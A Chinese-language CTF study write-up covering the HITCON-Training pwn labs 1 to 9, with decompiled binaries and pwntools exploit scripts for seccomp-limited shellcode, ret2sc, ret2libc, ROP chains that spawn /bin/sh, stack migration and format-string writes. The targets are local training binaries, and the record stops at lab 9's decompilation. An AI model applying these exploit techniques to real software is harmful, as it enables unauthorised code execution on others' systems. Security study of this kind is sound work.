因为项目和刷leetcode,好久没实操pwn题了,最近回看一下基础的pwn题,回顾基本操作与工具使用并做个记录方便日后查阅。这里选取的是下面这个项目。
项目地址:scwuaptx/HITCON-Training
Outline
Details 这里是writeup。待更新…
lab1 这是一道非常简单的逆向题,给出的是一个elf32的bin,通过ida打开,main如下:
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0 , 2 , 0 ); get_flag(); return 0 ; }
主要逻辑位于get_flag函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned int get_flag () {... fd = open("/dev/urandom" , 0 ); read(fd, &buf, 4u ); printf ("Give me maigc :" ); __isoc99_scanf("%d" , &v2); if ( buf != v2 ) { for ( i = 0 ; i <= 0x30 ; ++i ) putchar ((char )(*(&v5 + i) ^ *((_BYTE *)&v54 + i))); } return __readgsdword(0x14 u) ^ v67; }
由于flag并不依赖于输入,所以直接按照程序逻辑解码即可。
exp
1 2 3 4 5 6 cipher= [7 , 59 , 25 , 2 , 11 , 16 , 61 , 30 , 9 , 8 , 18 , 45 , 40 , 89 , 10 , 0 , 30 , 22 , 0 , 4 , 85 , 22 , 8 , 31 , 7 , 1 , 9 , 0 , 126 , 28 , 62 , 10 , 30 , 11 , 107 , 4 , 66 , 60 , 44 , 91 , 49 , 85 , 2 , 30 , 33 , 16 , 76 , 30 , 66 ] key= "Do_you_know_why_my_teammate_Orange_is_so_angry???" flag=[] for i in range (0 ,0x31 ): flag.append(chr (cipher[i] ^ ord (key[i]))) print("flag: " +'' .join(flag))
得到flag: CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}
lab2 题目基本信息、保护措施与运行情况如下
1 2 3 4 5 6 7 8 9 10 11 12 13 root@e76fd4f7:/ctf/work/lab2# file orw.bin orw.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped root@e76fd4f7:/ctf/work/lab2# checksec --file orw.bin [*] '/ctf/work/lab2/orw.bin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments root@e76fd4f7:/ctf/work/lab2# ./orw.bin Give my your shellcode:0x121212121212 Segmentation fault
ida查看:
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
逻辑比较简单,接受用户传入的shellcode并且直接执行。这里需要注意的是在此之前调用了orw_seccomp()
函数,经过搜索知道seccomp大概是一个类似沙箱的东西,禁用掉了一部分的系统调用,可以使用seccomp-tools 来查看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@e76fd4f7:/ctf/work/lab2# seccomp-tools dump ./orw.bin line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
是一个白名单,只有跳转到0010的几个系统调用是可以使用的,其余的都被禁用掉了。我们的目标是获取flag文件,使用read读入文件,再用write写入标准输出流即可,不需要得到shell
。
exp
这里使用pwntools的shellcode生成模块来生成shellcode。至于这里的flag路径怎么办,我觉得只有不停的猜测了,一般是就在本题的目录下的,所以可以先用相对路径尝试下…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.log_level = "debug" p=process('./orw.bin' ) payload=shellcraft.pushstr('./flag.txt' ) payload+=shellcraft.open ("esp" ) payload+=shellcraft.read("eax" ,"esp" ,0x100 ) payload+=shellcraft.write(1 ,"esp" ,0x100 ) p.recv(1024 ) p.sendline(asm(payload)) p.recvall() p.close()
运行结果:
1 2 3 4 5 6 root@e76fd4f7:/ctf/work/lab2# python3 exp.py [+] Starting local process './orw.bin': pid 113 b'Give my your shellcode:' [+] Receiving all data: Done (256B) [*] Stopped process './orw.bin' (pid 113) b'this is your flag\n\xf0\xf7\xb0\xf9\x9c\xff\x00\x00\x00\x00\x81\x8e\xd2\xf7\x00\x80\xee\xf7\x00\x80\xee\xf7\x00\x00\x00\x00\x81\x8e\xd2\xf7\x01\x00\x00\x00D\xfa\x9c\xffL\xfa\x9c\xff\xd4\xf9\x9c\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\xee\xf7Z\xb7\xf0\xf7\x000\xf2\xf7\x00\x00\x00\x00\x00\x80\xee\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x04\x1f1\x80\x14\xf9\xde\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd0\x83\x04\x08\x00\x00\x00\x00 \x0e\xf1\xf7\xb0\xb9\xf0\xf7\x000\xf2\xf7\x01\x00\x00\x00\xd0\x83\x04\x08\x00\x00\x00\x00\xf1\x83\x04\x08H\x85\x04\x08\x01\x00\x00\x00D\xfa\x9c\xff\xa0\x85\x04\x08\x00\x86\x04\x08\xb0\xb9\xf0\xf7<\xfa\x9c\xff@9\xf2\xf7\x01\x00\x00\x00\xb9\x18\x9d\xff\x00\x00\x00\x00\xc3\x18\x9d\xff\xd6\x18\x9d\xff\xc2\x1e\x9d\xff\xe4\x1e\x9d\xff\xf5\x1e\x9d\xff\x07\x1f\x9d\xff\x1a\x1f\x9d\xff%\x1f\x9d\xff>\x1f\x9d\xffI\x1f\x9d\xffQ\x1f\x9d\xffc\x1f\x9d\xff\xa5\x1f\x9d\xff'
这里因为不知道flag长度,所以输出了一些超过的内存部分。
关于seccomp的情况写在Seccomp 限制系统调用
lab3 题目基本信息、保护措施与运行情况如下
1 2 3 4 5 6 7 8 9 10 11 12 13 root@e76fd4f7:/ctf/work/lab3# file ret2sc ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped root@e76fd4f7:/ctf/work/lab3# checksec ret2sc [*] '/ctf/work/lab3/ret2sc' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments root@e76fd4f7:/ctf/work/lab3# ./ret2sc Name:asasa Try your best:asasasass
使用ida查看main函数如下:
1 2 3 4 5 6 7 8 9 10 int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-14h] setvbuf(stdout, 0, 2, 0); printf("Name:"); read(0, &name, 0x32u); printf("Try your best:"); return (int)gets(&s); }
可以看到首先将读取的0x32字节的输入放入.bss段的name,之后调用gets读取字符放入栈上变量s,这里由于gets函数会无限读取至遇到换行符,所以会导致栈溢出。而通过readelf可以看到.bss段是可以执行的
1 2 3 4 5 6 7 8 9 root@e76fd4f7:/ctf/work/lab3# objdump -h ./ret2sc ./ret2sc: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn ... 24 .bss 00000054 0804a040 0804a040 0000102c 2**5 ALLOC
拿这题思路就比较直接,将shellcode注入name位置,然后利用栈溢出跳转至shellcode执行即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = process("./ret2sc" ) name_addr = 0x804a060 p.recvuntil(":" ) p.sendline(asm(shellcraft.sh())) p.recvuntil(":" ) payload = flat(["a" *32 ,name_addr]) p.sendline(payload) p.interactive()
lab4 查看程序基础信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@e76fd4f7:/ctf/work/lab4# file ret2lib ret2lib: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped root@e76fd4f7:/ctf/work/lab4# checksec ret2lib [*] '/ctf/work/lab4/ret2lib' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) root@e76fd4f7:/ctf/work/lab4# ./ret2lib ############################### Do you know return to library ? ############################### What do you want to see in memory? Give me an address (in dec) :12345678 Segmentation fault
ida查看程序基本逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { char **v3; int v4; char src; char buf; int v8; puts ("###############################" ); puts ("Do you know return to library ?" ); puts ("###############################" ); puts ("What do you want to see in memory?" ); printf ("Give me an address (in dec) :" ); fflush(stdout ); read(0 , &buf, 0xA u); v8 = strtol(&buf, v3, v4); See_something(v8); printf ("Leave some message for me :" ); fflush(stdout ); read(0 , &src, 0x100 u); Print_message(&src); puts ("Thanks you ~" ); return 0 ; }
先接收一个字符串转换成十进制数并作为参数调用See_something查看该地址的数据。这个部分可用来泄露libc地址。
接着Print_message函数中出现了一个溢出
1 2 3 4 5 6 7 int __cdecl Print_message (char *src) { char dest; strcpy (&dest, src); return printf ("Your message is : %s" , &dest); }
利用这个漏洞可以进行ROP。
总结一下思路:
利用See_something去泄露printf地址,比对得到libc版本,计算libc基址与system地址
利用栈溢出rop。
writeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from LibcSearcher import * from pwn import * context.log_level = "debug" p = process("./ret2lib") got_puts = 0x804A01C p.recvuntil("Give me an address (in dec) :") p.sendline(str(got_puts)) p.recvuntil(":") puts_addr = int(p.recvuntil("\n").strip(),16) obj = LibcSearcher("puts", puts_addr)#这里libc版本搜素似乎有些错误->但原题目好像是已知libc版本 libc_base = puts_addr - obj.dump("puts") #print(hex(obj.dump("system"))) system_addr = obj.dump("system") + libc_base str_sh = obj.dump("str_bin_sh") + libc_base p.recvuntil("Leave some message for me :") #print(hex(system_addr)) #pd = cyclic(x100) #input() payload = flat(["a"*60,system_addr,"bbbb",str_sh]) p.sendline(payload) p.interactive()
lab5 经典的ROP题目,基本信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 root@dc29cfb4:/ctf/work/lab5# file simplerop simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped root@dc29cfb4:/ctf/work/lab5# checksec simplerop [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never'. [*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1). Update with: $ pip install -U pwntools [*] '/ctf/work/lab5/simplerop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) root@dc29cfb4:/ctf/work/lab5# ./simplerop ROP is easy is'nt it ? Your input :aaaaaaaaaa
有一些比较关键的信息,栈保护没开,并且是静态链接,这是比较简单的ROP的基本操作。利用ida查看反编译代码逻辑
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; puts ("ROP is easy is'nt it ?" ); printf ("Your input :" ); fflush(stdout ); return read(0 , &v4, 100 ); }
逻辑非常的简单,栈上0x14字节空间读入了100字节数据溢出,ROP可以秒杀但需要注意payload要控制在100字节内。这里我使用ropper直接生成chain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 root@dc29cfb4:/ctf/work/lab5# ropper -f ./simplerop --chain "execve cmd=/bin/bash" [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] ROPchain Generator for syscall execve: [INFO] write command into data section eax 0xb ebx address to cmd ecx address to null edx address to null [INFO] Try to create chain which fills registers without delete content of previous filled registers [*] Try permuation 1 / 24 [INFO] Look for syscall gadget [INFO] syscall gadget found [INFO] generating rop chain #!/usr/bin/env python # Generated by ropper ropchain generator # from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # 69bf22d0c745d6fe77b538df2c44a18efb54a904539c9f8604927d0f701ba020 rebase_0 = lambda x : p(x + IMAGE_BASE_0) rop = '' rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; rop += '////' rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; rop += 'bin/' rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; rop += rebase_0(0x000a2064) rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; rop += 'bash' rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; rop += p(0x00000000) rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; rop += rebase_0(0x000a206c) rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret; rop += rebase_0(0x000a206c) rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; rop += rebase_0(0x000a206c) rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; rop += p(0x0000000b) rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; print rop [INFO] rop chain generated!
生成的chain比较丑陋而且太长了,缩减其中的部分后可以得到后面writeup中payload。
之后测定返回地址前数据长度,使用cyclic生成100B数据并结合gdb调试进行测试。
1 2 3 4 5 6 7 8 9 10 from pwn import *context.log_level = "debug" p = process("./simplerop" ) p.recvuntil("Your input :" ) payload = cyclic(100 ) input () p.send(payload) p.interactive()
利用input断下脚本。gdb attach到相应pid设下断点后继续运行脚本,发现ret时的指令地址是0x61616169
,通过cyclic_find
找出偏移字节32,最后形成writeup。
writeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.log_level = "debug" p = process("./simplerop" ) p.recvuntil("Your input :" ) basep = lambda x : (x + 0x08048000 ) payload = flat(['a' *32 ,basep(0x00072e06 ),'/bin' ,basep(0x0002682a ), basep(0x000a2060 ),basep(0x0005215d ),basep(0x00072e06 ),'/sh\x00' , basep(0x0002682a ),basep(0x000a2064 ),basep(0x0005215d ),0x0806e850 ,0 ,0 , basep(0x000a2060 ),basep(0x00072e06 ),0xb ,basep(0x00026ef0 )]) p.send(payload) p.interactive()
lab6 查看题目基本信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 root@5aa3762b:/ctf/work/lab6 migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped root@5aa3762b:/ctf/work/lab6 [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never' . [*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1). Update with: $ pip install -U pwntools [*] '/ctf/work/lab6/migration' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) root@5aa3762b:/ctf/work/lab6 Try your best : asaaaaaaaaaaa root@5aa3762b:/ctf/work/lab6 Try your best : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault
是一个溢出的题目。ida查看程序逻辑:
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; if ( count != 1337 ) exit (1 ); ++count; setvbuf(_bss_start, 0 , 2 , 0 ); puts ("Try your best :" ); return read(0 , &buf, 0x40 u); }
安全措施主要是开启了栈不可执行保护。根据ida的反编译结果很容易看出这是一个栈溢出的题目,并且可以构造ROP的溢出大小=0x40-0x28-0x4(ebp)=20字节,这个长度显然不够构造ROP chain的,而且开头还通过count进行了main执行次数限制,防止多次ROP。由此需要用到栈迁移(当然分析是这样,其实名字已经很明显了)。
栈迁移相比一般栈溢出的话,特点是一般做了些限制(from ctf-wiki):
可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域
其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
在有限的栈溢出空间插入修改esp的指针(如gadgetpop esp; ret
),将栈迁移到部署了ROP的内存地址,进行ROP。原理图如下:
下面具体针对这题。首先需要将栈转移到已知地址,这里选择bss+0x300
地址处,尽量避免覆盖掉程序的data、got、bss等segment的信息防止crash,调用read函数写入gadget,并且为了保持控制权,最后要返回到bss+0x300
处。这段的payload如下:
1 2 3 4 5 6 payload1 = flat(["a" *0x28 ,bss_addr+0x300 ,read_plt,leave_ret,0 ,bss_addr+0x300 ,100 ])
之后我们便已经获得了一个更大的溢出空间(也就是read的100B)。
接下来我们需要泄露出libc地址,这里可以是puts也可以是read的地址,通过puts函数打印出其got表值即其地址,并且完成后依然要继续维持控制权。这里防止read覆盖掉后续栈内存,需要再开一个新的栈空间bss+0x600
。
1 2 3 4 5 6 7 payload2 = flat([bss_addr+0x600 ,puts_plt,pop_ret,puts_got,read_plt,leave_ret,0 ,bss_addr+0x600 ,100 ])
这样之后便得到了libc中puts函数地址,根据libc基址对齐以及puts偏移得到libc版本信息,计算出system
函数地址,跳转执行(为了防止read覆盖再次切换栈位置,两个栈反复横跳即可,当然也可以再开一个新栈):
1 2 3 4 5 6 payload3 = flat([bss_addr+0x300 ,system_addr,0 ,bss_addr+0x600 +4 *4 ,"/bin/sh\x00" ])
writeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from time import sleepfrom LibcSearcher import *context.log_level = "debug" p = process("./migration" ) elf = ELF("./migration" ) bss_addr = 0x804a000 read_plt = elf.plt["read" ] read_got = elf.got["read" ] puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] pop_ret = 0x0804836D leave_ret = 0x08048418 payload1 = flat(["a" *0x28 ,bss_addr+0x300 ,read_plt,leave_ret,0 ,bss_addr+0x300 ,100 ]) p.recvuntil("Try your best :\n" ) p.send(payload1) sleep(0.1 ) payload2 = flat([bss_addr+0x600 ,puts_plt,pop_ret,puts_got,read_plt,leave_ret,0 ,bss_addr+0x600 ,100 ]) p.sendline(payload2) puts_addr = u32(p.recvuntil("\n" )[:4 ]) obj = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - obj.dump("puts" ) system_addr = libc_base + obj.dump("system" ) payload3 = flat([bss_addr+0x300 ,system_addr,0 ,bss_addr+0x600 +4 *4 ,"/bin/sh\x00" ]) p.sendline(payload3) p.interactive()
这题主要需要注意的细节就是read不要覆盖了不能覆盖的数据,以及puts函数会额外输出一个”\n”总是搞忘:=。
lab7 题目信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@4177d9af:/ctf/work/lab7 ./crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped root@4177d9af:/ctf/work/lab7 [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never' . [*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1). Update with: $ pip install -U pwntools [*] '/ctf/work/lab7/crack' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) root@4177d9af:/ctf/work/lab7 What your name ? %p%p Hello ,0xff98c8580x63 Your password :aaaaaaaa Goodbyte
一个动态链接的crack小程序,包含一个格式化字符串漏洞。用ida反编译,main反编译结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; int fd; char nptr; char buf; unsigned int v8; v8 = __readgsdword(0x14 u); setvbuf(_bss_start, 0 , 2 , 0 ); v3 = time(0 ); srand(v3); fd = open("/dev/urandom" , 0 ); read(fd, &password, 4u ); printf ("What your name ? " ); read(0 , &buf, 0x63 u); printf ("Hello ," ); printf (&buf); printf ("Your password :" ); read(0 , &nptr, 0xF u); if ( atoi(&nptr) == password ) { puts ("Congrt!!" ); system("cat /home/crack/flag" ); } else { puts ("Goodbyte" ); } return 0 ; }
程序大致意思很明显,运行时获取随机password值,回答正确即可分支跳转到获取flag代码。
格式化字符串的大致原理之前有做过简单的研究,见格式化字符串漏洞 。对于这个程序也不涉及到获取变量,只需要通过%x打印出对应位置的数据即可,使用gdb进行调试,断在printf(&buf)
,即0x80486C1。
原理是原理,工具是工具,用pwntools直接生成payload比手动计算偏移可轻松太多了。主要是三个思路
泄露passwd
修改passwd
修改puts_got到执行system那条语句地址
writeup
下面分别看下这三个思路。
泄露和修改passwd基本相似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *pwd_addr = 0x804a048 payload = fmtstr_payload(10 ,{pwd_addr:6 }) p = process("./crack" ) p.sendlineafter("?" ,payload) p.sendlineafter(":" ,"6" ) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 from pwn import *pwd_addr = 0x804a048 payload = flat([pwd_addr,"_%10$s__" ]) p = process("./crack" ) p.sendlineafter("?" ,payload) p.recvuntil("_" ) passwd = u32(p.recvuntil("__" ,drop=True )) p.sendlineafter(":" ,str (passwd)) p.interactive()
修改puts_got方法的脚本其实和修改passwd一样,只是换了修改的地址而已。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *puts_got = 0x804a01c system_path = 0x804872b p = process("./crack" ) payload = fmtstr_payload(10 ,{puts_got:system_path}) p.sendlineafter("?" ,payload) p.sendlineafter(":" ,"" ) p.interactive()
浅谈fmtstr_payload使用 可以看到exp中有使用fmtstr_payload(10,{pwd_addr:6})
这样生成payload,这里说一下fmtstr_payload
的简单使用. fmtstr_payload
文档如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime. Parameters: offset (int) – the first formatter’s offset you control writes (dict) – dict with addr, value {addr: value, addr2: value2} numbwritten (int) – number of byte already written by the printf function write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n) overflows (int) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string strategy (str) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes) Returns: The payload in order to do needed writes
平时做pwn主要用到的就是前2个参数:
offset :第一个格式化字符存放的位置偏移。
如何得到这个偏移,其实最简单的就是直接%X打印栈,如下
1 2 3 4 5 root@34c8834f:/ctf/work/lab7# ./crack What your name ? aaaa.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X Hello ,aaaa.FFAD7FC8.63.0.F7FA3A9C.3.F7F75410.1.0.1.61616161.2E58252E.252E5825.58252E58.2E58252E ����H���Your password :11 Goodbyte
格式化字符串第一个字符aaaa其位置通过不停的打印栈可以得到在偏移10(0xa)位置出现,偏移以0开始,便可以直接得到此参数为10。
writes :一个字典,用来写数据,以 {addr: value, addr2: value2,…}将value写入addr位置。
numbwritten:如果printf前面还有打印的字符,就需要设置这个参数
write_size:写入的大小,是每次单字节写入,还是一次写入双字节,还是一次写入四个字节。
下面看一下fmtstr_payload生成的payload,如下:
1 2 3 4 5 6 7 8 9 root@34c8834f:/ctf/work/lab7# python3 Python 3.6.9 (default, Nov 7 2019, 10:44:02) [GCC 8.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> puts_got = 0x804a01c >>> system_path = 0x804872b >>> fmtstr_payload(10,{puts_got:system_path}) b'%8c%19$hhn%35c%20$hhn%1116c%21$hnaaa\x1f\xa0\x04\x08\x1c\xa0\x04\x08\x1d\xa0\x04\x08'
这段payload作用是将值0x804872b写入地址0x804a01c。首先fmtstr_payload将这个值拆成了三个部分:0x2b
,0x0487
,0x8
依次放入0x804a01c至0x804a01f。
对于0x8,根据给出的偏移(10)与最后生成的格式化字符中目标地址存放位置的偏移(9)相加得到%19$n,并且写入格式为字节,所以最后得到**%8c%19$hhn**
对于0x2b,根据给出的偏移(10)与最后生成的格式化字符中目标地址存放位置的偏移(10)相加得到%20$n,并且写入格式为字节,所以最后得到**%20$hhn**,而前面已经输出了0x8,这里只需要再写入35个字符便得到,所以最后为**%35c%20$hhn**
同理,0x487=1116+35+8,偏移为21->%1116c%21$hhn
最后aaa用来对齐
pwntools的fmtstr
模块函数比较多,后续会专门看一下其他的功能以及这个模块的实现。
lab8 题目基本信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@34c8834f:/ctf/work/lab8# file ./craxme ./craxme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2b264eb7dfa7fe74e2dce2cf802a6b5300737b65, not stripped root@34c8834f:/ctf/work/lab8# checksec ./craxme [*] '/ctf/work/lab8/craxme' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) root@34c8834f:/ctf/work/lab8# ./craxme Please crax me ! Give me magic :aaaa%x aaaaffe8ac5c �����You need be a phd
ida反编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; unsigned int v5; v5 = __readgsdword(0x14 u); setvbuf(_bss_start, 0 , 2 , 0 ); puts ("Please crax me !" ); printf ("Give me magic :" ); read(0 , &buf, 0x100 u); printf (&buf); if ( magic == 0xDA ) { system("cat /home/craxme/flag" ); } else if ( magic == 0xFACEB00C ) { system("cat /home/craxme/craxflag" ); } else { puts ("You need be a phd" ); } return 0 ; }
也是一个格式化字符串的题目。读入buf后直接通过printf打印。
这好像有两个分支都是对的?不懂作者啥意思,跟上一题没啥区别,直接用pwntools的fmtstr_payload
搞定。
writeup
首先测试一下偏移,可以得到偏移为7.
1 2 3 4 5 root@34c8834f:/ctf/work/lab8# ./craxme Please crax me ! Give me magic :aaaa.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X aaaa.FF8C240C.100.0.F7D41438.93C.F7D41CC8.61616161.2E58252E.252E5825.58252E58.2E58252E =�҂q���$��d$������You need be a phd
利用fmtstr_payload
构造exp,加个选项对两种不同情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *import sysp = process("./craxme" ) elf = ELF("./craxme" ) magic_addr = elf.sym["magic" ] args = sys.argv[1 ] if args=='0' :payload = fmtstr_payload(7 ,{magic_addr:0xda }) else :payload = fmtstr_payload(7 ,{magic_addr:0xFACEB00C }) p.sendlineafter("Give me magic :" ,payload) p.interactive()
搞定。
lab9 这是一道格式化字符串漏洞的进阶题目,相比前面直接的利用难一点,参考了好多资料才理清楚流程。题目基本信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@34c8834f:/ctf/work/lab9# file ./playfmt ./playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=157fb5ec4301a1a1bddebb3c0f79c17305c57693, not stripped root@34c8834f:/ctf/work/lab9# checksec ./playfmt [*] '/ctf/work/lab9/playfmt' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) root@34c8834f:/ctf/work/lab9# ./playfmt ===================== Magic echo Server ===================== aaaa.%X aaaa.8048640 aaaa.%X.%X aaaa.8048640.4 ^C
也是一个格式化字符串程序,ida反编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(stdout , 0 , 2 , 0 ); return play(); } int play () { puts ("=====================" ); puts (" Magic echo Server" ); puts ("=====================" ); return do_fmt(); } int do_fmt () { int result; while ( 1 ) { read(0 , buf, 0xC8 u); result = strncmp (buf, "quit" , 4u ); if ( !result ) break ; printf (buf); } return result; }
